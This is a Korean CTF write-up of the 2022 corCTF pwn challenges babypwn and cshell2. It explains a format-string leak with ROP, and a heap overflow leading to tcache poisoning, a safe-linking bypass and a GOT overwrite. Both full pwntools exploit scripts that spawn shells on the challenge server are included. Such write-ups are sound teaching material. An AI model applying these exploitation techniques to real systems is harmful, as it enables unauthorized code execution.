2022 corCTF) Write-up (babypwn, cshell2)

2022. 8. 19. 05:33CTF

 

2022.08.06~

 

pwn) babypwn - 114 solves

 

babypwn

 

문제설명에 러스트라는 단어가 있어서 겁먹기 딱 좋다.

그치만 사실은 매우 간단한 rtl rop fsb 문제였기 때문에 쉽게 풀렸다.

 

- babypwn.py

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

s = remote("be.ax", 31801)
#s = process("./babypwn")

pause()

payload = b"%p %p %p %p %p"
s.sendline(payload)
s.recvuntil(b"Hi, ")
s.recvuntil(b" ")
addr = int(s.recvuntil(b" ")[:-1],16)
log.info(hex(addr))
libc = addr + 0x1440
log.info(hex(libc))
system = libc + 0x52290
binsh = libc + 0x1b45bd

payload = b"A"*64+p64(libc)*4+p64(libc+0x23b6a)+p64(binsh)+p64(libc+0x22679)+p64(system)
s.sendline(payload)


s.interactive()

 

쉘 획득

corctf{why_w4s_th4t_1n_rust???}

 

 


 

pwn) cshell2 - 42 solves

 

사실 ctf기한 내로 풀지는 못했다. 지난주 수요일에 libc leak까지 해놓고 계속 막히는 부분이 생겨서 오늘에서야 쉘을 획득할 수 있었다.

 

cshell2

 

보호기법

 

RELRO가 partial이기때문에 got overwrite가 가능하다.

 

add 함수에서 할당할 때 인덱스 검사 0xE보다 크면 에러, 사이즈 1032보다 작으면 에러를 반환한다.

0x4040c0는 bss 주소이며 info_arr 이름들 저장되는 주소 들어가는 배열이다.

 

Info_arr  size_arr
(0x4040c0) Info1’s addr (heap addr) (0x4040c8) Size1
(이 위치에 값이 이미 있으면 추가안됨)
(0x4040c0 + 2 * 8) Info2’s addr Size2

 

(heap addr) Info1

Firstname1 Middlename1
Lastname1 Age1
   
   
Bio1  

 

Addbio0x100만큼만 입력할 수 있지만 아래 사진을 보면 edit에서 bio를 입력받는곳은 info_arr 인덱스에 할당된 주소에서 +64위치이지만 입력받는 글자 수는 size – 32 만큼 입력이 가능하다. -> heap overflow가 발생한다.

 

edit 함수

 


 

문제에서 직접 빌드한 libc를 사용하였기 때문에 heapinfo를 사용할 수 없었고, 메모리를 통해 tcache를 파악했다.

  • Heapbase는 사용할 수 있기 때문에 tcache에 대한 정보가 heapbase바로 아래에 들어간다는 점을 이용하였다.
  • 아래 사진은 문제 풀이 소스코드에서 delete(3) 실행 결과이다.
  • heapbase를 통해 분석할 수 있는 tcache정보이다. 첫번째 빨간상자에 티캐시 크기별 (배열) 개수가 들어가고 두번째 빨간상자에 티캐시 주소가 들어간다.

tcache 확인

  • 이후 같은 size의 chunk를 한번 더 free했다. (소스코드의 delete(5))
  • 배열의 크기가 2로 바뀌었고 기존의 tcache 주소에 next tcache 주소가 생겼다.
  • 마지막에 있는 random bit는 업데이트된 tcache의 key이다. tcache에는 bk가 존재하지 않는데 그 자리에 랜덤비트가 들어간다. 보안을 위해 추가된것으로 보인다. -> 2022.08.19 - [PWN] - System Hacking) tcache key
 

System Hacking) tcache key

Ubuntu 22.04 (glibc-2.36)까지 업데이트가 되면서 tcache에 관한 취약점들을 보완하기 위해 여러코드가 추가되었다. 지난주에 있었던 corCTF의 cshell2문제를 푸는 과정에서, 문제에 사용된 libc가 22.04버전

mi-sutga-ru.tistory.com

tcache 확인

 


 

할당할 수 있는 최소 크기가 1032이기 때문에 티캐시를 사용할 수 없을거라고 생각했으나, 최소 크기인 1032로 할당하고 해제하면 tcache에 들어갔다. 아래 더보기를 누르면 tcache 범위에 대한 코드 설명이 있다.

더보기

이부분은 헷갈려서 tcache코드를 다시 봤는데 24 ~ 1032 범위의 chunk가 tcache가 맞았다. (0x20 ~ 0x410)

 

아래 사진을 보면 MAX_TCACHE_SIZE에 tidx2usize (TCACHE_MAX_BIN – 1),  63이 들어가서 0x400까지가 tcache인줄 알았는데 실제로는 TCACHE_MAX_BINS,  64만큼 그대로 할당해준다.

 

glibc.2.36 malloc.c

 

따라서 tcache poisoning을 위해 leak을 진행하였다. 다음은 leak 과정이다.

(전에 tcache poisoning에 관해 공부한 자료가 따로 있어서 여기에 설명을 적는 대신 티캐시 포이즈닝에 관한 글을 따로 올리면 링크를 추가할 생각이다.)

 

1032보다 큰 크기를 할당하고 해제하면 unsorted bin에 들어간다. 인덱스 0, 1, 2를 할당하고 (0, 1만 할당하고 1번을 free시키면 top chunk가 올라가버려서 leak이 되지 않는다) 1번을 해제한 뒤, 0번을 편집한다.

 

edit함수의 bio입력에서 Heap overflow가 발생하여 show에서 필요한곳까지 leak되도록 필요한곳 바로 이전 주소까지 덮었다. (printf는 엔터나 0x00까지 출력시켜준다) 이 방법을 통해 libc 주소를 구할 수 있었다.

 

libc leak

 


 

free got주소인 0x404018을 fd로 뒤덮은 결과, tcache 배열에 이상한 주소가 들어가있었다.

이는 safe linking이라는 보호기법때문이다.

safe linking

 

22.04의 tcache이기 때문에 safe linking 보호기법을 우회하려면  overwrite하려는 주소와 heap주소를 연산해서 값을 넣어야한다. 따라서 heap주소를 leak해야한다.

-> 2022.08.19 - [PWN] - System Hacking) Safe Linking - tcache 암호화 / tcache align

 

System Hacking) Safe Linking - tcache 암호화 / tcache align

Ubuntu 22.04 (glibc-2.36)까지 업데이트가 되면서 tcache에 관한 취약점들을 보완하기 위해 여러코드가 추가되었다. 참고된 코드는 아래 링크에서 확인할 수 있다. 버전별로 코드가 약간씩 다르지만 가

mi-sutga-ru.tistory.com

 

heap주소를 leak하기 전, 새로 할당을 하기 위해서는 위 과정에서 leak을 위해 0x801부분(할당됐던 chunksize 0x800flag 1 – 이전청크 사용중)을 덮었기때문에 이 부분을 복구해주어야 chunk를 다시 사용할 수 있다. (prev_size는 덮여도 괜찮아보인다)

 

heap주소 leak 과정이다. 처음에는 libc leak하기 위해 할당하고 해제했던 unsorted bin으로 free되어 생긴 fd, bk를 확인하고, libc를 구한 뒤 한번 더 할당을 했더니 fd, bk 뒤에 heap주소가 들어가는 것을 디버깅을 통해 확인했다. 결론은 이를 통해 새로 할당을 하고 한바이트만 뒤덮은 뒤(덮이는 부분만 send로 보내서 엔터가 입력되지 않게 해주었다) 4바이트를 받아와서 끝자리가 000이 되도록 offset을 빼면 heapbase를 구할 수 있다.

+) heap주소가 3바이트인 경우가 있는데 그럴 경우 leak한 주소 앞에 0x20XXXXXX 가 붙기 때문에 heap주소가 4바이트가 되도록 파이썬 코드를 다시 실행시켰다.

+) 파이썬은 / 연산을 하면 자동으로 float형이 되기 때문에 int(heapbase/0x1000)로 형변환을 해야한다. 기본을 모르면 삽질을 한다 ㅠ

 

heap주소가 들어가는 이유 (추측)

  • Unsorted bin의 크기가 large bin에 들어갈 사이즈일 때 fd_nextsize, bk_nextsize에 사이즈가 들어가는 힙주소를 넣어준다. 

 

아래 사진이 add(3, 1032, b"A", b"B", b"C", 20, b"B")를 통해 덮은 모습이다.

 

 


 

got를 system주소로 덮으면 인자로 /bin/sh를 넣어야하는데 free가 인자를 조절하기 가장 쉽다.

 

그런데 덮으려던 freegot주소가 0x404018이므로 이를 바로 tcache에 넣어버리면 다시 할당할 때 unaligned dtected에러를 반환한다.

-> 2022.08.19 - [PWN] - System Hacking) Safe Linking - tcache 암호화 / tcache align

 

System Hacking) Safe Linking - tcache 암호화 / tcache align

Ubuntu 22.04 (glibc-2.36)까지 업데이트가 되면서 tcache에 관한 취약점들을 보완하기 위해 여러코드가 추가되었다. 참고된 코드는 아래 링크에서 확인할 수 있다. 버전별로 코드가 약간씩 다르지만 가

mi-sutga-ru.tistory.com

 

생각해보니 tcache0x404010으로 고치면 middlename위치가 free_got가 되기 때문에 문제없이 free_got system주소로 변조할 수 있었다. 이걸 왜 생각을 바로 못했지?

 

0x404020lastname위치이자 puts주소가 들어있으므로 puts가 이상한 주소로 뒤덮히지 않도록 puts주소를 넣고 bio위치는 0x404050으로 scanf가 들어있어 scanf주소를 넣어주었다.

 

got

 

free의 got가 성공적으로 system함수로 뒤덮혔으므로 4번을 삭제하면 /bin/sh가 들어있는 주소가 free되면서 system("/bin/sh");가 실행된다.

 

- cshell2.py

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

#s = process("./cshell2")
s = remote("be.ax", 31667)

def menu(index):
	s.recvuntil(b"user\n")
	s.sendline(index)

def add(index, size, first, middle, last, age, bio):
	menu(b"1")
	s.recvuntil(b"index: ")
	s.sendline(str(index).encode())
	s.recvuntil(b"minimum): ")
	s.sendline(str(size).encode())
	s.recvuntil(b"firstname: ")
	s.sendline(first)
	s.recvuntil(b"middlename: ")
	s.send(middle)
	s.recvuntil(b"lastname: ")
	s.send(last)
	s.recvuntil(b"age: ")
	s.sendline(str(age).encode())
	s.recvuntil(b"bio: ")
	s.sendline(bio)

def show(index):
	menu(b"2")
	s.recvuntil(b"index: ")
	s.sendline(str(index).encode())
	s.recvuntil(b"A"*976)

def delete(index):
	menu(b"3")
	s.recvuntil(b"index: ")
	s.sendline(str(index).encode())

def edit(index, first, middle, last, age, bio):
	menu(b"4")
	s.recvuntil(b"index: ")
	s.sendline(str(index).encode())
	s.recvuntil(b"firstname: ")
	s.sendline(first)
	s.recvuntil(b"middlename: ")
	s.sendline(middle)
	s.recvuntil(b"lastname: ")
	s.sendline(last)
	s.recvuntil(b"age: ")
	s.sendline(str(age).encode())
	s.recvuntil(b"bio: (max ")
	size = int(s.recvuntil(")")[:-1]) + 32
	log.info(hex(size))
	s.recvuntil(b"\n")
	s.send(bio)

def re_age(index, age):
	menu(b"5")
	s.recvuntil(b"index: ")
	s.sendline(str(index).encode())
	s.recvuntil(b"age: ")
	s.sendline(str(age).encode())

names = 0x4040c0 #bss address
got = 0x404010
free_got = 0x404018
puts_got = 0x404020
printf_got = 0x404030
malloc_got = 0x404040

#pause()
add(0, 1032, b"a", b"b", b"c", 10, b"A")
add(1, 2032, b"A", b"B", b"C", 20, b"B")
add(2, 1032, b"aa", b"bb", b"cc", 30, b"C")
delete(1)
edit(0, b"aa", b"bb", b"cc", 11, b"A"*976)
show(0)
leak = u64(s.recv(6).ljust(8, b"\x00"))
log.info(hex(leak))
libc = leak - 0x1c7cc0
log.info(hex(libc))

edit(0, b"aa", b"bb", b"cc", 11, b"A"*968+p64(0x801))
add(3, 1032, b"A", b"B", b"C", 20, b"B")
menu(b"2")
s.recvuntil(b"index: ")
s.sendline(b"3")
s.recvuntil(b"last: ")
heapbase = u64(s.recv(4).ljust(8, b"\x00")) - 0x643
log.info(hex(heapbase))
heap = int(heapbase/0x1000)
system = libc + 0x470d0
puts = libc + 0x71ab0
scanf = libc + 0x4cb40

#pause()
add(4, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")
add(5, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")
delete(3)
delete(5)
edit(4, b"/bin/sh", b"/bin/sh", b"/bin/sh", 20, b"A"*976+p64(got^heap+0x1))
add(6, 1032, b"/bin/sh", b"/bin/sh", b"/bin/sh", 10, b"/bin/sh")
add(7, 1032, b"\x00", p64(system), p64(puts), 10, p64(scanf))
delete(4)

s.interactive()

 

아직 서버가 열려있어서 플래그를 획득할 수 있었다.

 

쉘 획득

 

corctf{m0nk3y1ng_0n_4_d3bugg3r_15_th3_b35T!!!}